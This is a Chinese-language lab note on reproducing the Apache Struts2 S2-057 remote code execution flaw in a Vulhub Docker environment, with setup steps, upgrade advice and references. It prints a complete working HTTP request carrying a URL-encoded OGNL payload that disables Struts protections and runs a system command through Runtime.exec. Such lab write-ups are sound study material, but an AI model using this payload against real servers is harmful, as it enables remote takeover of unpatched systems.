vulhub学习笔记-struts2 S2-057 Remote Code Execution Vulnerablity远程代码执行 微服务启动报 Error creating bean with name ‘eurekaAutoServiceRegistration‘ 异常 「信息安全-密码与隐藏技术」RSA加密算法的实现(CPP 实现) 单例模式线程是否安全? DDCTF2020 Writeup 迭代器模式在开源代码中的应用 微信群总是有人发广告?看我用Python写一个自动化机器人消灭他! 极光大数据持续亏损,称风控产品数据涉10亿移动端用户、包括财产消费等信息,对外投资极贷管家 揭秘英飞凌最新安全芯片解决方案:为物联网设备量身定制,小封装易开发 蒙草大数据西乌旗智慧畜牧业系统建设取得新进展 移动转售产业与大数据产业交流座谈会即将召开 19-2!62比24!湖人4大数据碾压对手,夺赛点进西决稳了 Web前端程序员每天的工作都是做什么的?有哪些是必须要做的? 四面楚歌祭利剑:华为再推鸿蒙OS,另辟蹊径进军物联网 InnoDB可重复读隔离级别是如何实现的 腾讯云物联网平台重磅升级:聚合内部能力,辅助更多产业 u校园刷课软件一键答题新视野视听说读写综合训练 css隐藏元素的几种方式及区别 display:none visibility:hidden opacity 元素隐藏 2020-09-10 使用echart完成折线图 wordpress使用memcached缓存数据提高访问速度 U校园刷课软件U校园新视野综合教程视听说答题 vue源码(十三) 数组下标改变值的响应式误区以及实现 非插件自动为WordPress关键词添加链接 SpringBoot详解(一) 从入门到入土 Mysql系列第一讲 mysql基础知识与安装 作为测试工程师,你一定要知道的数据库操作命令大全! mysql-mysql学习详记三&&数据库的备份及恢复&&多表设计&&外键约束 GROUP BY 的内在细节展示!!(不可忽略点!!) LeetCode 178. 分数排名 MySQL数据库管理语句用法(增、删、改、查、授权……) 华为发布物联网实践系列教材 内容覆盖云、管、边、端物联网解决方案 华为发布物联网实践系列教材 内容覆盖云、管、边、端物联网解决方案 兆威机电发力智能驱动系统体系建设,为物联网生态重塑赋能 腾讯云公布5G与物联网融合技术架构 并率先推出5G开发服务 软件开发者如何提高编程能力? 小白写博客讲讲我自己的java学习之路 POJ 1312棋盘问题 2020年第十五届全国大学生智能汽车竞赛技术报告 存储器及其存储器的层级结构 云计算之Linux全栈目录(第一节网络基础) 挑战16天搭建基于Spring Cloud电商秒杀项目,成功经验分享 wordpress主题自定义顶部图像功能 2020年数学建模国赛C题题目和解题思路 聚焦数据架构前沿技术,快手大数据平台架构技术交流会成功举办 2020国际电梯展览会,梯智眼智能AI摄像头定义智慧电梯物联网 思约云音乐 (绿色免费版) 使用Git GUI上传项目到Gitee 关于央行新推数字货币的综述 Xception简介
您的位置:首页 >计算机基础 >

vulhub学习笔记-struts2 S2-057 Remote Code Execution Vulnerablity远程代码执行

Struts2 S2-057 Remote Code Execution Vulnerablity远程代码执行

一.漏洞介绍 (一)编号 S2-057 (二)概述 S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码以及系统命令到服务器系统中去 (三)影响版本 Apache Struts 2.3 – Struts 2.3.34 Apache Struts 2.5 – Struts 2.5.16 (四)适用条件 -alwaysSelectFullNamespace为true。 -action元素没有设置namespace属性,或者使用了通配符。 命名空间将由用户从uri传递并解析为OGNL表达式,最终导致远程代码执行漏洞。

二.操作步骤 (一)Vulhub ip地址:http://192.168.126.136 文件位于:/home/vulhub/vulhub-master/struts/S2-057 1.环境搭建 docker-compose build和docker-compose up -d 2.检查docker是否开启 docker-compose ps 在这里插入图片描述

(二)Windows 1.登录struts测试页面 http://192.168.126.136:8080/struts2-showcase 在这里插入图片描述

2.开启拦截抓包,点击view 在这里插入图片描述

3.发送到重发器,并修改get位置,再点go 在这里插入图片描述

Go得到下图所示结果,说明存在漏洞。可以看到,200*200的结果已经在Location头中返回。

4.修改数据包 数据包内容为

GET /struts2-showcase**/$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/**actionChain1.action HTTP/1.1Host: xx.xx.xx.xx:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: pma_lang=zh_CN; PHPSESSID=ktl19cua6l8te70hdre5vti097; security=low; JSESSIONID=8A451123FAEEC6210EA07D642B8D4778Connection: close

/struts2-showcase*/$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action HTTP/1.1*

斜体为构造函数,粗体为执行命令 成功执行操作

三.漏洞防护 (一)尽快升级到Apache Struts 2.3.35 或 Struts 2.5.17版

参考文章 https://blog.csdn.net/lhh134/article/details/87368699 https://cloud.tencent.com/developer/article/1511916 https://www.jianshu.com/p/6db98793d043 https://blog.csdn.net/Z_Grant/article/details/101213506

郑重声明:本文版权归原作者所有,转载文章仅为传播更多信息之目的,如作者信息标记有误,请第一时间联系我们修改或删除,多谢。